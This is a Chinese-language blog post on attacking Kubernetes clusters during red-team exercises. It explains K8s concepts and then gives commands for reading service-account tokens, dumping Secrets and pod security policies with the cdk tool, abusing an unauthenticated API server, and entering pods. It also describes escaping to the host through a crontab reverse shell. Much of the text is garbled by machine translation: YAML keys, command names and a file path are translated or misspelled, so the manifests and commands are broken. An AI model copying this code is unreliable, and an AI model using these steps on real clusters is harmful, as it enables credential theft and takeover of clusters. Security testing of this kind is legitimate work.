发布于2025年12月5日12月5日 ## 文章前言 在攻防演练中,我们偶尔会遇到目标内网资产集群部署的情况(国企较为常见)。这种情况下,由于需要积分,需要对集群进行攻击测试,以控制整个集群。本文将从K8s的基本概念、主要组件、架构以及安全评估测试方法等方面系统介绍K8s的安全性。 ## 基础知识 ### 容器概念 Container(容器)是一种可移植的、轻量级的操作系统级虚拟化技术。它使用命名空间来隔离不同的软件运行环境,并镜像自包含软件的运行环境,使容器可以轻松地在任何地方运行。由于容器体积小,启动速度快,因此可以通过在每个容器镜像中打包一个应用程序,这种一对一的应用程序镜像关系有很多好处。容器的使用不需要与外部基础设施环境绑定,因为每个应用程序都不需要外部依赖,更不用说对外部基础设施环境的依赖,完美解决了从开发到生产环境的一致性问题。 ### Pod 概念 Kubernetes 使用Pod 来管理容器。每个Pod 可以包含一个或多个密切相关的容器。 Pod 是一组密切相关的容器,它们共享PID、IPC、网络和UTS 命名空间。它是Kubernetes调度的基本单位。 Pod中的多个容器共享网络和文件系统,可以通过进程间通信和文件共享组合起来完成服务。 在Kubernetes 中,对象是使用ManiFest(YAML 或JSON)定义的。一个简单的Nginx 服务可以定义为nginx.yaml,其中包含一个镜像为nginx 的容器。示例如下: ```` api版本: v1 kind: 吊舱 元数据: name: nginx 标签: app: nginx 规格: 容器: -name: nginx image: nginx 端口: -容器端口: 80 ```` ### 节点概念 Node是Pod实际运行的主机。它可以是物理机,也可以是虚拟机。为了管理Pod,每个Node 节点必须至少运行Container Runtime(例如docker 或rkt)、Kubelet 和Kube-proxy 服务 ### 命名空间 命名空间是一组资源和对象的抽象集合。例如,它可用于将系统内的对象划分为不同的项目组或用户组。常见的pod、services、replicationcontroller和deployment都属于某个namespace(默认为default),而nodes、perpetitiveVolumes等不属于任何namespace。 ###服务理念 服务是应用程序服务的抽象。它通过标签为应用程序提供负载均衡和服务发现。 Pod IP 和端口列出了与端点匹配的标签。 Kube-proxy 负责将服务IP 负载均衡到这些端点。通常每个服务都会自动分配一个集群IP(只能在集群内访问的虚拟地址)和DNS 名称。其他容器可以通过这个地址或DNS访问服务,而无需知道后端容器的操作: ```` api版本: v1 kind: 服务 元数据: name: nginx 规格: 端口: - port: 8078 # 该服务应该提供服务的端口 名称: http # 每个pod 上要连接的容器,可以是一个名称 #(例如“www”)或数字(例如80) 目标端口: 80 协议: TCP 选择器: app: nginx ```` ## 架构概述 ### 架构起源 Borg是Google内部的大型集群管理系统。它负责Google内部许多核心服务的调度和管理。 Borg的目的是让用户不必担心资源管理问题,让他们能够专注于自己的核心业务,并最大限度地提高跨多个数据中心的资源利用率。 Borg主要由BorgMaster、Borglet、Borgcfg和Scheduler组成。架构图如下: - Borglet:负责实际运行任务(在容器中) - Borgcfg:Borg的命令行工具,用于与Borg系统交互,一般通过配置文件提交任务 - 调度器:负责调度任务,根据应用的特点调度到具体的机器上。 - BorgMaster:是整个集群的大脑,负责维护整个集群的状态以及将数据持久化到Paxos存储中 ### 架构模型 K8s借鉴了Borg的设计理念,如: Pod、Service、Label、单Pod、单IP等。Kubernetes的整体架构与Borg非常相似,如下图: K8s主要由以下核心组件组成: - etcd:保存整个集群的状态 - apiserver:提供资源操作的唯一入口,提供认证、授权、访问控制、API注册和发现等机制 - 控制器管理器:负责维护集群的状态,如故障检测、自动扩容、滚动更新等。 - Scheduler:负责资源调度,按照预定的调度策略将Pod调度到对应的机器上。 - kubelet:负责维护容器的生命周期,同时还负责Volume(CSI)和网络(CNI)的管理 - 容器运行时:负责镜像管理以及Pod和容器的实际运行(CRI) - kube-proxy:负责为Service提供集群内的服务发现和负载均衡 ## 核心组件 Kubernetes主要由以下几个核心组件组成,这也是我们对K8s安全评估的主要测试维度: - etcd:保存整个集群的状态 - apiserver:提供资源操作的唯一入口,提供认证、授权、访问控制、API注册和发现等机制 - 控制器管理器:负责维护集群的状态,如故障检测、自动扩容、滚动更新等。 - Scheduler:负责资源调度,按照预定的调度策略将Pod调度到对应的机器上。 - kubelet:负责维护容器的生命周期,同时还负责Volume(CVI)和网络(CNI)的管理 - 容器运行时:负责镜像管理以及Pod和容器的实际运行(CRI) - kube-proxy:负责为Service 提供集群内的服务发现和负载均衡 以下是关键组件的一些常见默认端口: ## 渗透路径 常见K8S渗透路径: K8S渗透过程图: ## 信息收集 我们的评估是,在获取应用程序的webshell权限时,需要对当前环境进行判断。最残酷的是我们之前做HW的时候,有一个厂商针对域环境搭建了完整的蜜罐系统,然后看你玩……,所以我们现阶段要做的就是收集信息。 ###环境信息 ```` 环境 `` ```` 环境| grep 库伯内特斯 `` ### 容器检测 注意下面的.dockerenv: ```` ls-al `` ### 内核版本 需要下载kubectl到pod中,然后执行以下命令获取node节点的内核版本信息。 ```` kubectl 获取节点-o jsonpath='{range .items[*]}{.metadata.name}{\'\\t\'}{.status.nodeInfo.kernelVersion}{\'\ \'}{结束}' `` ### 令牌类 K8s 集群创建的Pod 中的容器默认携带K8s Service Account 身份验证凭据(/run/secrets/kubernetes.io/serviceaccount/token)。您可以使用此凭证来验证K8s API-Server服务器并访问高权限接口。如果执行成功,说明该账户拥有高权限,可以直接使用Service Account管理K8s集群。 ```` 猫/var/run/secrets/kuberenetes.io/serviceaccount/token `` ### 秘密课堂 K8s Secrets 用于存储敏感数据。从Secrets 中获取的AK 和通信凭证可被用户在后续渗透中窃取外部或云产品API 的信息: ```` #命令格式 ./cdk 运行k8s-secret-dump (自动|) #使用示例 ./cdk 运行k8s-secret-dump auto `` ### 安全政策 如果您已获得kubeconfig 或sa 账户权限,想要创建特殊配置的容器,但受到K8s Pod 安全策略的限制,可以利用该漏洞获取Pod 安全策略的规则信息。 ```` #命令格式 ./cdk 运行k8s-psp-dump (自动| #使用示例 ./cdk 运行k8s-psp-dump auto 2021/03/24 22:15:58 获取K8s api-server API 地址。 在ENV: https://ip:8443 中查找K8s api-server 2021/03/24 22:15:58 尝试使用本地service-account: 令牌转储K8s Pod 安全策略 2021/03/24 22:15:58 请求/apis/policy/v1beta1/podsecuritypolicies 2021/03/24 22:15:58 dump Pod 安全策略成功,保存在: k8s_pod_security_policies.json 2021/03/24 22:15:58 请求/api/v1/namespaces/default/pods 2021/03/24 22:15:58 K8S Pod 安全策略规则列表: 2021/03/24 22:15:58 规则{ securityContext.hostPID: true } 不允许。 2021/03/24 22:15:58 规则{ securityContext.hostIPC: true } 不允许。 2021/03/24 22:15:58 规则{volumes[0].hostPath.pathPrefix: \\\'/proc\\\' } 不允许。 2021/03/24 22:15:58 规则{volumes[1].hostPath.pathPrefix: \\\'/dev\\\' } 不允许。 2021/03/24 22:15:58 规则{volumes[2].hostPath.pathPrefix: \\\'/sys\\\' } 不允许。 2021/03/24 22:15:58 规则{volumes[3].hostPath.pathPrefix: \\\'/\\\' } 不允许。 2021/03/24 22:15:58 规则{containers[0].securityContext.capability.add: \\\'SYS_ADMIN\\\' } 是不允许的。 2021/03/24 22:15:58 规则{container[0].securityContext.capability.add: \\\'SYS_PTRACE\\\' } 是不允许的。 ```` ### 港口服务 ### 内部网络 - Flannel 默认使用10.244.0.0/16 网络 - Calico默认使用192.168.0.0/16网络 ## 一般用途 本节介绍一些由于K8s自身漏洞或安全配置不当导致的常见可利用漏洞点: ### 未经授权的类 #### K8s API 服务器未授权 **基本介绍** k8s Master节点上会暴露kube-apiserver,默认打开以下两个HTTP端口: A:本地主机端口 - HTTP服务 - 主机访问受到保护 - HTTP 中没有身份验证和授权检查 - 默认端口8080,修改标志–insecure-port - 默认IP为本地主机,修改标识符—insecure-bind-address B:安全端口 - 使用基于策略的授权 - 身份验证方法、令牌文件或客户端证书 - 默认端口6443,修改标识—secure-port - 默认IP为第一个非本地主机网络接口,修改标识符—bind-address - HTTPS 服务。设置证书和密钥的身份,–tls-cert-file, –tls-private-key-file 上述两个端口主要存在以下两类安全风险: - 开发人员使用端口8080 并将其公开到公共网络。攻击者可以通过该端口的API直接向集群下发指令。 - 运维人员将“system:anonymous”用户绑定到“cluster-admin”用户组,以便匿名用户可以通过6443端口向具有管理员权限的集群发出指令。 **漏洞检测** 在浏览器中访问以下URL: ```` #格式说明 http://ip:端口/ #使用示例 http://192.168.17.144:8080/ `` 返回以上信息表明K8s API Server存在未授权访问漏洞~ **利用** 利用方式根据严重程度可分为以下两种攻击类型: - 通过kubectl客户端调用Secure Port接口来控制创建的容器 - 创建自定义容器,将系统根目录下的文件挂在/mnt目录下,然后修改/mnt/etc/crontab影响主机的crontab,通过反弹shell来获取主机的权限 **容器管理** 步骤一:获取目标机器信息 ```` #格式说明 kubectl -s ip:port 获取节点 #执行示例 kubectl -s 192.168.17.144:8080 获取节点 `` 注意:如果出现错误信息“Error from server (NotFound) : the server Could not find the requested resources”,可能是因为Kubectl客户端和K8s服务器版本不同,需要降级操作。此时需要降低版本,以与目标主机版本保持一致。 ```` 卷曲-LO https://storage.googleapis.com/kubernetes-release/release/v1.8.7/bin/linux/amd64/kubectl chmod 777 kubectl mv /usr/bin/kubectl /usr/bin/kubectl.bak mv kubectl /usr/bin/kubectl ```` 第二步:获取命名空间 ```` kubectl -s 192.168.17.144:8080 获取命名空间 `` 第三步:获取某个namespace下的Pod列表 ```` kubectl -s 192.168.17.144:8080 获取pod -n 默认值 ```` 步骤4:执行以下命令接管Pod。可以看到下面返回的提示是“pod nginx没有分配主机”。这是因为Pod 没有分配主机。 ```` #格式说明 kubectl -s ip:port --namespace=default exec -it dockername bash #执行示例 kubectl -s 192.168.17.144:8080 -n 默认执行-it nginx /bin/sh ````
创建帐户或登录后发表意见